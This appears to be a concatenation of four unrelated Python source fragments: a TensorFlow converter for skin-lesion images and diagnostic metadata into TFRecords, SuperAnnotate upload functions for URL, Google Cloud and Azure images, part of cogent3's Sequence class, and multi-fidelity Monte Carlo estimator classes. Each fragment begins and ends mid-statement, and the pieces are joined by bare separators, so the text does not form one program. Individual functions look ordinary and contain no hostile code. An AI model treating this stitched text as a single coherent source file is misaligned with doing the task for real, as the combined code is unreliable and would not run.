return [ categories.index(v) if v in categories else default for v in values ]
else:
return categories.index(values) if values in categories else default
class ImageReader(object):
"""Helper class that provides TensorFlow image coding utilities."""
def __init__(self):
# Initializes function that decodes RGB JPEG data.
self._decode_jpeg_data = tf.placeholder(dtype=tf.string)
self._decode_jpeg = tf.image.decode_jpeg(self._decode_jpeg_data, channels=3)
def read_image_dims(self, sess, image_data):
image = self.decode_jpeg(sess, image_data)
return image.shape[0], image.shape[1]
def decode_jpeg(self, sess, image_data):
image = sess.run(self._decode_jpeg,
feed_dict={self._decode_jpeg_data: image_data})
assert len(image.shape) == 3
assert image.shape[2] == 3
return image
class MaskReader(object):
"""Helper class that provides TensorFlow image coding utilities."""
def __init__(self):
# Initializes function that decodes grayscale PNG data.
self._decode_png_data = tf.placeholder(dtype=tf.string)
self._decode_png = tf.image.decode_png(self._decode_png_data, channels=1)
def read_image_dims(self, sess, image_data):
image = self.decode_png(sess, image_data)
return image.shape[0], image.shape[1]
def decode_png(self, sess, image_data):
image = sess.run(self._decode_png,
feed_dict={self._decode_png_data: image_data})
assert len(image.shape) == 3
assert image.shape[2] == 1
return image
def _get_dataset_filename(dataset_dir, split_name, shard_id, num_shards, masks=False):
output_filename = 'skin_lesions_%s%s_%05d-of-%05d.tfrecord' % (
'seg_' if masks else '', split_name, shard_id+1, num_shards)
return os.path.join(dataset_dir, output_filename)
def _diagnosis_to_idx(diagnosis):
return to_category(diagnosis[:4], '1.1.', '3.2.', '1.5.', default='error')
def _image_to_tfexample(image_data, image_format, height, width, metadata,
mask_data=None, mask_format=None):
feature = {
'image/encoded' : bytes_feature(image_data),
'image/format' : bytes_feature(image_format),
'class/label' : int64_feature(_diagnosis_to_idx(metadata[4])),
'class/melanoma' : int64_feature(int(metadata[4][:4]=='3.2.')),
'class/keratosis' : int64_feature(int(metadata[4][:4]=='1.5.')),
'height' : int64_feature(height),
'width' : int64_feature(width),
'meta/dataset' : bytes_feature(metadata[0]),
'meta/split' : bytes_feature(metadata[1]),
'meta/id' : bytes_feature(metadata[2]),
'meta/image_type' : float_feature(to_category(metadata[3], 'clinical', 'dermoscopic')),
'meta/diagnosis' : bytes_feature(metadata[4]),
'meta/diagnosis_method' : float_feature(to_category(metadata[5], 'clinic', 'follow-up', 'histopathology')),
'meta/diagnosis_difficulty' : float_feature(to_category(metadata[6], 'low', 'medium', 'high')),
'meta/diagnosis_confidence' : float_feature(to_category(metadata[7], 'low', 'medium', 'high')),
'meta/lesion_thickness' : bytes_feature(metadata[8]),
'meta/lesion_diameter' : float_feature(float(metadata[9]) if metadata[9] else np.nan),
'meta/lesion_location' : bytes_feature(metadata[10]),
'meta/age' : float_feature(float(metadata[11]) if metadata[11] else np.nan),
'meta/sex' : float_feature(to_category(metadata[12], 'female', 'male')),
'meta/case' : bytes_feature(metadata[13]),
'meta/alias' : bytes_feature(metadata[14]),
'meta/semiduplicate' : bytes_feature(metadata[15]),
}
if mask_data:
feature['mask/encoded'] = bytes_feature(mask_data)
feature['mask/format'] = bytes_feature(mask_format)
return tf.train.Example(features=tf.train.Features(feature=feature))
def _convert_dataset(split_name, metadata_file, images_dir, masks_dir, dataset_dir):
"""Converts the given images and metadata to a TFRecord dataset.
Args:
split_name: The name of the dataset: 'train', or 'test'
metadata: A list with the dataset metadata
images_dir: The directory with the input .jpg images
dataset_dir: The directory where the converted datasets are stored.
"""
assert split_name in ['train', 'test']
# Get metadata
# 0 => dataset
# 1 => split
# 2 => image (id)
# 3 => image_type
# 4 => diagnosis
# 5 => diagnosis_method
# 6 => diagnosis_difficulty
# 7 => diagnosis_confidence
# 8 => lesion_thickness
# 9 => lesion_diameter
# 10 => lesion_location
# 11 => age
# 12 => sex
# 13 => case
# 14 => alias
# 15 => semiduplicate
# Checks and skips header
metadata = [ m.strip().split(_DELIMITER) for m in open(metadata_file) ]
metadata = [ [ f.strip() for f in m] for m in metadata ]
metadata = metadata[1:]
dataset_size = len(metadata)
metadata = iter(metadata)
_NUM_PER_SHARD = FLAGS.samples_per_shard
num_shards = int(math.ceil(dataset_size / _NUM_PER_SHARD))
if dataset_size % _NUM_PER_SHARD < int(_NUM_PER_SHARD/3.0):
num_shards = max(num_shards-1, 1)
lesion_sizes = [ 0, 0, 0 ]
with tf.Graph().as_default(), tf.Session('') as session:
image_reader = ImageReader()
mask_reader = MaskReader()
for shard_id in range(num_shards):
output_filename = _get_dataset_filename(dataset_dir, split_name, shard_id, num_shards)
tfrecord_writer = tf.python_io.TFRecordWriter(output_filename)
start_ndx = shard_id*_NUM_PER_SHARD
end_ndx = (shard_id+1)*_NUM_PER_SHARD if shard_id<num_shards-1 else dataset_size
for i in range(start_ndx, end_ndx):
sys.stdout.write('\r>> Converting image %d/%d shard %d in %s split' %
(i+1, dataset_size, shard_id, split_name))
sys.stdout.flush()
# Read the image file:
meta = next(metadata)
lesion_sizes[_diagnosis_to_idx(meta[4])] += 1
image_file = os.path.join(images_dir, meta[2]) + '.jpg'
image_data = tf.gfile.FastGFile(image_file, 'rb').read()
image_height, image_width = image_reader.read_image_dims(session, image_data)
if masks_dir:
# Assigns the first mask available to the image
masks_glob = glob.iglob(os.path.join(masks_dir, meta[2]) + '*.png')
try:
mask_file = next(masks_glob)
except StopIteration:
message = 'no mask found for image %s.' % image_file
tf.logging.error(message)
raise RuntimeError(message)
mask_data = tf.gfile.FastGFile(mask_file, 'rb').read()
height, width = mask_reader.read_image_dims(session, mask_data)
if height!=image_height or width!=image_width:
message = ('image %s and its mask %s have incompatible sizes (expected %dx%d found %dx%d).' %
(image_file, mask_file, image_height, image_width, height, width,))
tf.logging.error(message)
raise RuntimeError(message)
example = _image_to_tfexample(image_data, b'jpg', image_height, image_width, meta, mask_data, b'png')
else:
# Creates a dataset without masks
example = _image_to_tfexample(image_data, b'jpg', image_height, image_width, meta)
tfrecord_writer.write(example.SerializeToString())
tfrecord_writer.close()
sys.stdout.write('\n')
sys.stdout.flush()
return lesion_sizes
def run(train_file, test_file, images_dir, masks_dir, dataset_dir):
"""Runs the download and conversion operation.
"""
if not tf.gfile.Exists(dataset_dir):
tf.gfile.MakeDirs(dataset_dir)
_EXPECTED_HEADER=('dataset;split;image;image_type;diagnosis;diagnosis_method;'
'diagnosis_difficulty;diagnosis_confidence;'
'lesion_thickness;lesion_diameter;lesion_location;age;sex;'
'case;alias;semiduplicate')
_EXPECTED_FIELDS=_EXPECTED_HEADER.count(_DELIMITER)+1
def check_header(m, file):
if _DELIMITER.join(m[:_EXPECTED_FIELDS])!=_EXPECTED_HEADER:
tf.logging.fatal('invalid header on metadata file %s' % file)
sys.exit(1)
# Sanity check
if train_file and test_file:
metadata = [ m.strip().split(_DELIMITER) for m in open(train_file) ]
check_header(metadata[0], train_file)
train_ids = [ m[2].strip() for m in metadata[1:] ]
metadata = [ m.strip().split(_DELIMITER) for m in open(test_file) ]
check_header(metadata[0], test_file)
test_ids = [ m[2].strip() for m in metadata[1:] ]
common = set(train_ids).intersection(set(test_ids))
if common:
tf.logging.fatal('train and test files have common ids %s' % ' '.join(common))
sys.exit(1)
# Convert the training and validation sets.
if train_file:
train_sizes = _convert_dataset('train', train_file, images_dir, masks_dir, dataset_dir)
else:
train_sizes = [ 0, 0, 0 ]
if test_file:
test_sizes = _convert_dataset('test', test_file, images_dir, masks_dir, dataset_dir)
else:
test_sizes = [ 0, 0, 0 ]
# Saves classes and split sizes
CLASSES_TO_SIZES = { 'nevus' : train_sizes[0]+test_sizes[0],
'melanoma' : train_sizes[1]+test_sizes[1],
'keratosis' : train_sizes[2]+test_sizes[2] }
tf.logging.info(str(CLASSES_TO_SIZES))
pickle.dump(CLASSES_TO_SIZES, open(os.path.join(dataset_dir, 'classes_to_sizes.pkl'), 'wb'))
SPLITS_TO_SIZES = { 'train' : sum(train_sizes),
'test' : sum(test_sizes) }
tf.logging.info(str(SPLITS_TO_SIZES))
pickle.dump(SPLITS_TO_SIZES, open(os.path.join(dataset_dir, 'splits_to_sizes.pkl'), 'wb'))
def main(unparsed):
this_app_path = unparsed[0]
unparsed = unparsed[1:]
if unparsed:
raise ValueError('Unrecognized arguments: %s' % ' '.join(unparsed))
if not (FLAGS.test or FLAGS.train):
raise ValueError('You must supply one of --train or --test')
if not FLAGS.images_dir:
raise ValueError('You must specify the images directory in --images_dir')
if not FLAGS.output_dir:
raise ValueError('You must specify the dataset directory in --output_dir')
_MIN_SAMPLES_PER_SHARD=256
if FLAGS.samples_per_shard<_MIN_SAMPLES_PER_SHARD:
raise ValueError('The value of --samples_per_shard must be above %d' % | |
not None.
:param project: project name or folder path (e.g., "project1/folder1")
:type project: str
:param img_urls: list of str objects to upload
:type img_urls: list
:param img_names: list of str names for each urls in img_url list
:type img_names: list
:param annotation_status: value to set the annotation statuses of the uploaded images NotStarted InProgress QualityCheck Returned Completed Skipped
:type annotation_status: str
:param image_quality_in_editor: image quality be seen in SuperAnnotate web annotation editor.
Can be either "compressed" or "original". If None then the default value in project settings will be used.
:type image_quality_in_editor: str
:return: uploaded images' urls, uploaded images' filenames, duplicate images' filenames and not-uploaded images' urls
:rtype: tuple of list of strs
"""
if img_names is not None and len(img_names) != len(img_urls):
raise SABaseException(0, "Not all image URLs have corresponding names.")
images_not_uploaded = []
images_to_upload = []
duplicate_images_filenames = []
path_to_url = {}
project, project_folder = get_project_and_folder_metadata(project)
upload_state = common.upload_state_int_to_str(project.get("upload_state"))
if upload_state == "External":
raise SABaseException(
0,
"The function does not support projects containing images attached with URLs"
)
finish_event = threading.Event()
tqdm_thread = threading.Thread(
target=_tqdm_download,
args=(
len(img_urls), images_to_upload, images_not_uploaded,
duplicate_images_filenames, finish_event
),
daemon=True
)
logger.info('Downloading %s images', len(img_urls))
tqdm_thread.start()
with tempfile.TemporaryDirectory() as save_dir_name:
save_dir = Path(save_dir_name)
for i, img_url in enumerate(img_urls):
try:
response = requests.get(img_url)
response.raise_for_status()
except Exception as e:
logger.warning(
"Couldn't download image %s, %s", img_url, str(e)
)
images_not_uploaded.append(img_url)
else:
if not img_names:
if response.headers.get('Content-Disposition') is not None:
img_path = save_dir / cgi.parse_header(
response.headers['Content-Disposition']
)[1]['filename']
else:
img_path = save_dir / basename(urlparse(img_url).path)
else:
img_path = save_dir / img_names[i]
if str(img_path) in path_to_url.keys():
duplicate_images_filenames.append(basename(img_path))
continue
with open(img_path, 'wb') as f:
f.write(response.content)
path_to_url[str(img_path)] = img_url
images_to_upload.append(img_path)
finish_event.set()
tqdm_thread.join()
images_uploaded_paths, images_not_uploaded_paths, duplicate_images_paths = upload_images_to_project(
(project, project_folder),
images_to_upload,
annotation_status=annotation_status,
image_quality_in_editor=image_quality_in_editor
)
images_not_uploaded.extend(
[path_to_url[str(path)] for path in images_not_uploaded_paths]
)
images_uploaded = [
path_to_url[str(path)] for path in images_uploaded_paths
]
images_uploaded_filenames = [
basename(path) for path in images_uploaded_paths
]
duplicate_images_filenames.extend(
[basename(path) for path in duplicate_images_paths]
)
return (
images_uploaded, images_uploaded_filenames, duplicate_images_filenames,
images_not_uploaded
)
@Trackable
def upload_images_from_google_cloud_to_project(
project,
google_project,
bucket_name,
folder_path,
annotation_status='NotStarted',
image_quality_in_editor=None
):
"""Uploads all images present in folder_path at bucket_name in google_project to the project.
Sets status of all the uploaded images to set_status if it is not None.
:param project: project name or folder path (e.g., "project1/folder1")
:type project: str
:param google_project: the project name on google cloud, where the bucket resides
:type google_project: str
:param bucket_name: the name of the bucket where the images are stored
:type bucket_name: str
:param folder_path: path of the folder on the bucket where the images are stored
:type folder_path: str
:param annotation_status: value to set the annotation statuses of the uploaded images NotStarted InProgress QualityCheck Returned Completed Skipped
:type annotation_status: str
:param image_quality_in_editor: image quality be seen in SuperAnnotate web annotation editor.
Can be either "compressed" or "original". If None then the default value in project settings will be used.
:type image_quality_in_editor: str
:return: uploaded images' urls, uploaded images' filenames, duplicate images' filenames and not-uploaded images' urls
:rtype: tuple of list of strs
"""
images_not_uploaded = []
images_to_upload = []
duplicate_images_filenames = []
path_to_url = {}
project, project_folder = get_project_and_folder_metadata(project)
upload_state = common.upload_state_int_to_str(project.get("upload_state"))
if upload_state == "External":
raise SABaseException(
0,
"The function does not support projects containing images attached with URLs"
)
cloud_client = storage.Client(project=google_project)
bucket = cloud_client.get_bucket(bucket_name)
image_blobs = bucket.list_blobs(prefix=folder_path)
with tempfile.TemporaryDirectory() as save_dir_name:
save_dir = Path(save_dir_name)
for image_blob in image_blobs:
if image_blob.content_type.split('/')[0] != 'image':
continue
image_name = basename(image_blob.name)
image_save_pth = save_dir / image_name
if image_save_pth in path_to_url.keys():
duplicate_images_filenames.append(basename(image_save_pth))
continue
try:
image_blob.download_to_filename(image_save_pth)
except Exception as e:
logger.warning(
"Couldn't download image %s, %s", image_blob.name, str(e)
)
images_not_uploaded.append(image_blob.name)
else:
path_to_url[str(image_save_pth)] = image_blob.name
images_to_upload.append(image_save_pth)
images_uploaded_paths, images_not_uploaded_paths, duplicate_images_paths = upload_images_to_project(
(project, project_folder),
images_to_upload,
annotation_status=annotation_status,
image_quality_in_editor=image_quality_in_editor
)
images_not_uploaded.extend(
[path_to_url[str(path)] for path in images_not_uploaded_paths]
)
images_uploaded = [
path_to_url[str(path)] for path in images_uploaded_paths
]
images_uploaded_filenames = [
basename(path) for path in images_uploaded_paths
]
duplicate_images_filenames.extend(
[basename(path) for path in duplicate_images_paths]
)
return (
images_uploaded, images_uploaded_filenames, duplicate_images_filenames,
images_not_uploaded
)
@Trackable
def upload_images_from_azure_blob_to_project(
project,
container_name,
folder_path,
annotation_status='NotStarted',
image_quality_in_editor=None
):
"""Uploads all images present in folder_path at container_name Azure blob storage to the project.
Sets status of all the uploaded images to set_status if it is not None.
:param project: project name or folder path (e.g., "project1/folder1")
:type project: str
:param container_name: container name of the Azure blob storage
:type container_name: str
:param folder_path: path of the folder on the bucket where the images are stored
:type folder_path: str
:param annotation_status: value to set the annotation statuses of the uploaded images NotStarted InProgress QualityCheck Returned Completed Skipped
:type annotation_status: str
:param image_quality_in_editor: image quality be seen in SuperAnnotate web annotation editor.
Can be either "compressed" or "original". If None then the default value in project settings will be used.
:type image_quality_in_editor: str
:return: uploaded images' urls, uploaded images' filenames, duplicate images' filenames and not-uploaded images' urls
:rtype: tuple of list of strs
"""
images_not_uploaded = []
images_to_upload = []
duplicate_images_filenames = []
path_to_url = {}
project, project_folder = get_project_and_folder_metadata(project)
upload_state = common.upload_state_int_to_str(project.get("upload_state"))
if upload_state == "External":
raise SABaseException(
0,
"The function does not support projects containing images attached with URLs"
)
connect_key = os.getenv('AZURE_STORAGE_CONNECTION_STRING')
blob_service_client = BlobServiceClient.from_connection_string(connect_key)
container_client = blob_service_client.get_container_client(container_name)
image_blobs = container_client.list_blobs(name_starts_with=folder_path)
with tempfile.TemporaryDirectory() as save_dir_name:
save_dir = Path(save_dir_name)
for image_blob in image_blobs:
content_type = image_blob.content_settings.get('content_type')
if content_type is None:
logger.warning(
"Couldn't download image %s, content type could not be verified",
image_blob.name
)
continue
if content_type.split('/')[0] != 'image':
continue
image_name = basename(image_blob.name)
image_save_pth = save_dir / image_name
if image_save_pth in path_to_url.keys():
duplicate_images_filenames.append(basename(image_save_pth))
continue
try:
image_blob_client = blob_service_client.get_blob_client(
container=container_name, blob=image_blob
)
image_stream = image_blob_client.download_blob()
except Exception as e:
logger.warning(
"Couldn't download image %s, %s", image_blob.name, str(e)
)
images_not_uploaded.append(image_blob.name)
else:
with open(image_save_pth, 'wb') as image_file:
image_file.write(image_stream.readall())
path_to_url[str(image_save_pth)] = image_blob.name
images_to_upload.append(image_save_pth)
images_uploaded_paths, images_not_uploaded_paths, duplicate_images_paths = upload_images_to_project(
(project, project_folder),
images_to_upload,
annotation_status=annotation_status,
image_quality_in_editor=image_quality_in_editor
)
images_not_uploaded.extend(
[path_to_url[str(path)] for path in images_not_uploaded_paths]
)
images_uploaded = [
path_to_url[str(path)] for path in images_uploaded_paths
]
images_uploaded_filenames = [
basename(path) for path in images_uploaded_paths
]
duplicate_images_filenames.extend(
[basename(path) for path in duplicate_images_paths]
)
return (
images_uploaded, images_uploaded_filenames, duplicate_images_filenames,
images_not_uploaded
)
def __upload_annotations_thread(
team_id, project_id, project_type, anns_filenames, folder_path,
annotation_classes_dict, pre, thread_id, chunksize, missing_images,
couldnt_upload, uploaded, from_s3_bucket, project_folder_id
):
NUM_TO_SEND = 500
len_anns = len(anns_filenames)
start_index = thread_id * chunksize
if start_index >= len_anns:
return
end_index = min(start_index + chunksize, len_anns)
postfix_json = '___objects.json' if project_type == "Vector" else '___pixel.json'
len_postfix_json = len(postfix_json)
postfix_mask = '___save.png'
if from_s3_bucket is not None:
from_session = boto3.Session()
from_s3 = from_session.resource('s3')
for i in range(start_index, end_index, NUM_TO_SEND):
names = []
for j in range(i, i + NUM_TO_SEND):
if j >= end_index:
break
image_name = anns_filenames[j][:-len_postfix_json]
names.append(image_name)
try:
metadatas = get_image_metadata(
({
"id": project_id
}, {
"id": project_folder_id
}), names, False
)
except SABaseException:
metadatas = []
names_in_metadatas = [metadata["name"] for metadata in metadatas]
id_to_name = {
metadata["id"]: metadata["name"]
for metadata in metadatas
}
if len(metadatas) < len(names):
for name in names:
if name not in names_in_metadatas:
ann_path = Path(folder_path) / (name + postfix_json)
missing_images[thread_id].append(ann_path)
logger.warning(
"Couldn't find image %s for annotation upload", ann_path
)
data = {
"project_id": project_id,
"team_id": team_id,
"ids": [metadata["id"] for metadata in metadatas],
"folder_id": project_folder_id
}
endpoint = '/images/getAnnotationsPathsAndTokens' if pre == "" else '/images/getPreAnnotationsPathsAndTokens'
response = _api.send_request(
req_type='POST', path=endpoint, json_req=data
)
if not response.ok:
logger.warning(
"Couldn't get token upload annotations %s", response.text
)
continue
res = response.json()
aws_creds = res["creds"]
s3_session = _get_boto_session_by_credentials(aws_creds)
s3_resource = s3_session.resource('s3')
bucket = s3_resource.Bucket(aws_creds["bucket"])
for image_id, image_info in res['images'].items():
image_name = id_to_name[int(image_id)]
json_filename = image_name + postfix_json
if from_s3_bucket is None:
full_path = Path(folder_path) / json_filename
annotation_json = json.load(open(full_path))
else:
file = io.BytesIO()
full_path = folder_path + json_filename
from_s3_object = from_s3.Object(from_s3_bucket, full_path)
from_s3_object.download_fileobj(file)
file.seek(0)
annotation_json = json.load(file)
if not check_annotation_json(annotation_json):
couldnt_upload[thread_id].append(full_path)
logger.warning(
"Annotation JSON %s missing width or height info. Skipping upload",
full_path
)
continue
fill_class_and_attribute_ids(
annotation_json, annotation_classes_dict
)
bucket.put_object(
Key=image_info["annotation_json_path"],
Body=json.dumps(annotation_json)
)
if project_type == "Pixel":
mask_filename = image_name + postfix_mask
if from_s3_bucket is None:
with open(Path(folder_path) / mask_filename, 'rb') as fin:
file = io.BytesIO(fin.read())
else:
file = io.BytesIO()
| |
None # connected to ACSII when moltype is imported
def __init__(
self,
seq="",
name=None,
info=None,
check=True,
preserve_case=False,
gaps_allowed=True,
wildcards_allowed=True,
):
"""Initialize a sequence.
Parameters
----------
seq: the raw sequence string, default is ''
name: the sequence name
check: if True (the default), validates against the MolType
"""
if name is None and hasattr(seq, "name"):
name = seq.name
self.name = name
orig_seq = seq
if isinstance(seq, Sequence):
seq = seq._seq
elif isinstance(seq, ArraySequence):
seq = str(seq)
elif isinstance(seq, bytes):
seq = seq.decode("utf-8")
elif not isinstance(seq, str):
try:
seq = "".join(seq)
except TypeError:
seq = "".join(map(str, seq))
seq = self._seq_filter(seq)
if not preserve_case and not seq.isupper():
seq = seq.upper()
self._seq = seq
if check:
self.moltype.verify_sequence(self._seq, gaps_allowed, wildcards_allowed)
if not isinstance(info, InfoClass):
try:
info = InfoClass(info)
except TypeError:
info = InfoClass()
if hasattr(orig_seq, "info"):
try:
info.update(orig_seq.info)
except:
pass
self.info = info
if isinstance(orig_seq, _Annotatable):
self.copy_annotations(orig_seq)
def to_moltype(self, moltype):
"""returns copy of self with moltype seq
Parameters
----------
moltype : str
molecular type
"""
from cogent3 import get_moltype
if not moltype:
raise ValueError(f"unknown moltype '{moltype}'")
moltype = get_moltype(moltype)
make_seq = moltype.make_seq
new = make_seq(self, name=self.name)
new.clear_annotations()
for ann in self.annotations:
ann.copy_annotations_to(new)
return new
def _seq_filter(self, seq):
"""Returns filtered seq; used to do DNA/RNA conversions."""
return seq
def get_colour_scheme(self, colours):
return {}
def get_color_scheme(self, colors): # alias to support US spelling
return self.get_colour_scheme(colours=colors)
def copy_annotations(self, other):
self.annotations = other.annotations[:]
def copy(self):
"""returns a copy of self"""
new = self.__class__(self._seq, name=self.name, info=self.info)
if self.is_annotated():
for annot in self.annotations:
annot.copy_annotations_to(new)
return new
def annotate_from_gff(self, f, pre_parsed=False):
"""annotates a Sequence from a gff file where each entry has the same SeqID"""
first_seqname = None
# only features with parent features included in the 'features' dict
features = dict()
fake_id = 0
if pre_parsed:
gff_contents = f
else:
gff_contents = gff.gff_parser(f)
for gff_dict in gff_contents:
if first_seqname is None:
first_seqname = gff_dict["SeqID"]
else:
assert gff_dict["SeqID"] == first_seqname, (
gff_dict["SeqID"],
first_seqname,
)
# ensure the ID is unique
id_ = gff_dict["Attributes"]["ID"]
if id_ in features.keys():
id_ = f"{id_}:{gff_dict['Type']}:{gff_dict['Start']}-{gff_dict['End']}:{fake_id}"
fake_id = fake_id + 1
if "Parent" not in gff_dict["Attributes"].keys():
self.add_feature(
gff_dict["Type"], id_, [(gff_dict["Start"], gff_dict["End"])]
)
continue
features[id_] = gff_dict
if features:
parents = {}
for id_ in features.keys():
parents[id_] = features[id_]["Attributes"]["Parent"]
sorted_features = self._sort_parents(
parents, [], next(iter(features.keys()))
)
for id_ in sorted_features:
matches = []
for parent in features[id_]["Attributes"]["Parent"]:
# If a feature has multiple parents, a separate instance is added to each parent
matches.extend(
self.get_annotations_matching(
"*", name=parent, extend_query=True
)
)
for parent in matches:
# Start and end are relative to the parent's absolute starting position
if parent.name not in features.keys():
parent_min = 0
else:
parent_min = min(
features[parent.name]["Start"], features[parent.name]["End"]
)
start = features[id_]["Start"] - parent_min
end = features[id_]["End"] - parent_min
parent.add_feature(
features[id_]["Type"],
features[id_]["Attributes"]["ID"],
[(start, end)],
)
def _sort_parents(self, parents, ordered, key):
"""returns a list of feature id's with parents before children"""
keys = parents.keys()
if key in keys:
for parent in parents[key]:
if parent in keys:
return self._sort_parents(parents, ordered, parent)
ordered.append(key)
parents.pop(key)
if not parents:
return ordered
return self._sort_parents(parents, ordered, next(iter(keys)))
def with_masked_annotations(
self, annot_types, mask_char=None, shadow=False, extend_query=False
):
"""returns a sequence with annot_types regions replaced by mask_char
if shadow is False, otherwise all other regions are masked.
Parameters
----------
annot_types
annotation type(s)
mask_char
must be a character valid for the seq MolType. The
default value is the most ambiguous character, eg. '?' for DNA
shadow
whether to mask the annotated regions, or everything but
the annotated regions
extend_query : boolean
queries sub-annotations if True
"""
if mask_char is None:
ambigs = [(len(v), c) for c, v in list(self.moltype.ambiguities.items())]
ambigs.sort()
mask_char = ambigs[-1][1]
assert mask_char in self.moltype, "Invalid mask_char %s" % mask_char
annotations = []
annot_types = [annot_types, [annot_types]][isinstance(annot_types, str)]
for annot_type in annot_types:
annotations += self.get_annotations_matching(
annot_type, extend_query=extend_query
)
region = self.get_region_covering_all(annotations, extend_query=extend_query)
if shadow:
region = region.get_shadow()
i = 0
segments = []
for b, e in region.get_coordinates():
segments.append(self._seq[i:b])
segments.append(mask_char * (e - b))
i = e
segments.append(self._seq[i:])
new = self.__class__(
"".join(segments), name=self.name, check=False, info=self.info
)
new.annotations = self.annotations[:]
return new
def gapped_by_map_segment_iter(self, map, allow_gaps=True, recode_gaps=False):
for span in map.spans:
if span.lost:
if allow_gaps:
unknown = span.terminal or recode_gaps
seg = "-?"[unknown] * span.length
else:
raise ValueError("gap(s) in map %s" % map)
else:
seg = self._seq[span.start : span.end]
if span.reverse:
complement = self.moltype.complement
seg = [complement(base) for base in seg[::-1]]
seg = "".join(seg)
yield seg
def gapped_by_map_motif_iter(self, map):
for segment in self.gapped_by_map_segment_iter(map):
for motif in segment:
yield motif
def gapped_by_map(self, map, recode_gaps=False):
segments = self.gapped_by_map_segment_iter(map, True, recode_gaps)
new = self.__class__(
"".join(segments), name=self.name, check=False, info=self.info
)
annots = self._sliced_annotations(new, map)
new.annotations = annots
return new
def _mapped(self, map):
# Called by generic __getitem__
segments = self.gapped_by_map_segment_iter(map, allow_gaps=False)
new = self.__class__("".join(segments), self.name, info=self.info)
return new
def __add__(self, other):
"""Adds two sequences (other can be a string as well)."""
if hasattr(other, "moltype"):
if self.moltype != other.moltype:
raise ValueError(
"MolTypes don't match: (%s,%s)" % (self.moltype, other.moltype)
)
other_seq = other._seq
else:
other_seq = other
new_seq = self.__class__(self._seq + other_seq)
# Annotations which extend past the right end of the left sequence
# or past the left end of the right sequence are dropped because
# otherwise they will annotate the wrong part of the constructed
# sequence.
left = [
a for a in self._shifted_annotations(new_seq, 0) if a.map.end <= len(self)
]
if hasattr(other, "_shifted_annotations"):
right = [
a
for a in other._shifted_annotations(new_seq, len(self))
if a.map.start >= len(self)
]
new_seq.annotations = left + right
else:
new_seq.annotations = left
return new_seq
def __repr__(self):
myclass = "%s" % self.__class__.__name__
myclass = myclass.split(".")[-1]
if len(self) > 10:
seq = str(self._seq[:7]) + "... %s" % len(self)
else:
seq = str(self._seq)
return "%s(%s)" % (myclass, seq)
def get_name(self):
"""Return the sequence name -- should just use name instead."""
return self.name
def __len__(self):
return len(self._seq)
def __iter__(self):
return iter(self._seq)
def gettype(self):
"""Return the sequence type."""
return self.moltype.label
def resolveambiguities(self):
"""Returns a list of tuples of strings."""
ambigs = self.moltype.resolve_ambiguity
return [ambigs(motif) for motif in self._seq]
def sliding_windows(self, window, step, start=None, end=None):
"""Generator function that yield new sequence objects
of a given length at a given interval.
Parameters
----------
window
The length of the returned sequence
step
The interval between the start of the returned
sequence objects
start
first window start position
end
last window start position
"""
start = [start, 0][start is None]
end = [end, len(self) - window + 1][end is None]
end = min(len(self) - window + 1, end)
if start < end and len(self) - end >= window - 1:
for pos in range(start, end, step):
yield self[pos : pos + window]
def get_in_motif_size(self, motif_length=1, log_warnings=True):
"""returns sequence as list of non-overlapping motifs
Parameters
----------
motif_length
length of the motifs
log_warnings
whether to notify of an incomplete terminal motif
"""
seq = self._seq
if motif_length == 1:
return seq
else:
length = len(seq)
remainder = length % motif_length
if remainder and log_warnings:
warnings.warn(
'Dropped remainder "%s" from end of sequence' % seq[-remainder:]
)
return [
seq[i : i + motif_length]
for i in range(0, length - remainder, motif_length)
]
def parse_out_gaps(self):
gapless = []
segments = []
nongap = re.compile("([^%s]+)" % re.escape("-"))
for match in nongap.finditer(self._seq):
segments.append(match.span())
gapless.append(match.group())
map = Map(segments, parent_length=len(self)).inverse()
seq = self.__class__(
"".join(gapless), name=self.get_name(), info=self.info, preserve_case=True
)
if self.annotations:
seq.annotations = [a.remapped_to(seq, map) for a in self.annotations]
return (map, seq)
def replace(self, oldchar, newchar):
"""return new instance with oldchar replaced by newchar"""
new = self._seq.replace(oldchar, newchar)
return self.__class__(new, name=self.name, info=self.info)
def is_annotated(self):
"""returns True if sequence has any annotations"""
return len(self.annotations) != 0
def annotate_matches_to(self, pattern, annot_type, name, allow_multiple=False):
"""Adds an annotation at sequence positions matching pattern.
Parameters
----------
pattern : string
The search string for which annotations are made. IUPAC ambiguities
are converted to regex on sequences with the appropriate MolType.
annot_type : string
The type of the annotation (e.g. "domain").
name : string
The name of the annotation.
allow_multiple : | |
return get_rsquared_acv(
self.cov, nsample_ratios,
partial(get_discrepancy_covariances_KL, K=self.K, L=self.L,
pkg=pkg))
class ACVMFKLBest(ACVMF):
def get_rsquared(self, nsample_ratios):
return get_rsquared_acv_KL_best(self.cov, nsample_ratios)
def allocate_samples(self, target_cost):
return allocate_samples_acv_best_kl(
self.cov, self.costs, target_cost, standardize=True,
initial_guess=None, optim_options=None,
optim_method='SLSQP')
class MFMC(ACVMF):
def __init__(self, cov, costs):
super().__init__(cov, costs)
def get_rsquared(self, nsample_ratios):
rsquared = get_rsquared_mfmc(self.get_covariance(), nsample_ratios)
return rsquared
def allocate_samples(self, target_cost):
return allocate_samples_mfmc(
self.get_covariance(), self.costs, target_cost)
class MLMC(ACVMF):
def use_lagrange_formulation(self, flag):
r"""For testing purposes only"""
if flag:
self.objective_fun_all = partial(
acv_sample_allocation_objective_all_lagrange, self)
self.jacobian_fun_all = partial(
acv_sample_allocation_jacobian_all_lagrange_torch, self)
else:
self.objective_fun_all = partial(
acv_sample_allocation_objective_all, self)
self.jacobian_fun_all = partial(
acv_sample_allocation_jacobian_all_torch, self)
if not use_torch:
self.jacobian_fun_all = None
def get_rsquared(self, nsample_ratios):
if use_torch:
pkg = torch
else:
pkg = np
rsquared = get_rsquared_mlmc(self.cov, nsample_ratios, pkg)
if use_torch:
rsquared = rsquared.numpy()
return rsquared
def allocate_samples(self, target_cost):
return allocate_samples_mlmc(self.cov, self.costs, target_cost)
def compute_single_fidelity_and_approximate_control_variate_mean_estimates(
nhf_samples, nsample_ratios,
model_ensemble, generate_samples,
generate_samples_and_values, cov,
get_cv_weights, seed):
r"""
Compute the approximate control variate estimate of a high-fidelity
model from using it and a set of lower fidelity models.
Also compute the single fidelity Monte Carlo estimate of the mean from
only the high-fidelity data.
Notes
-----
To create reproducible results when running numpy.random in parallel
must use RandomState. If not the results will be non-deterministic.
This is happens because of a race condition. numpy.random.* uses only
one global PRNG that is shared across all the threads without
synchronization. Since the threads are running in parallel, at the same
time, and their access to this global PRNG is not synchronized between
them, they are all racing to access the PRNG state (so that the PRNG's
state might change behind other threads' backs). Giving each thread its
own PRNG (RandomState) solves this problem because there is no longer
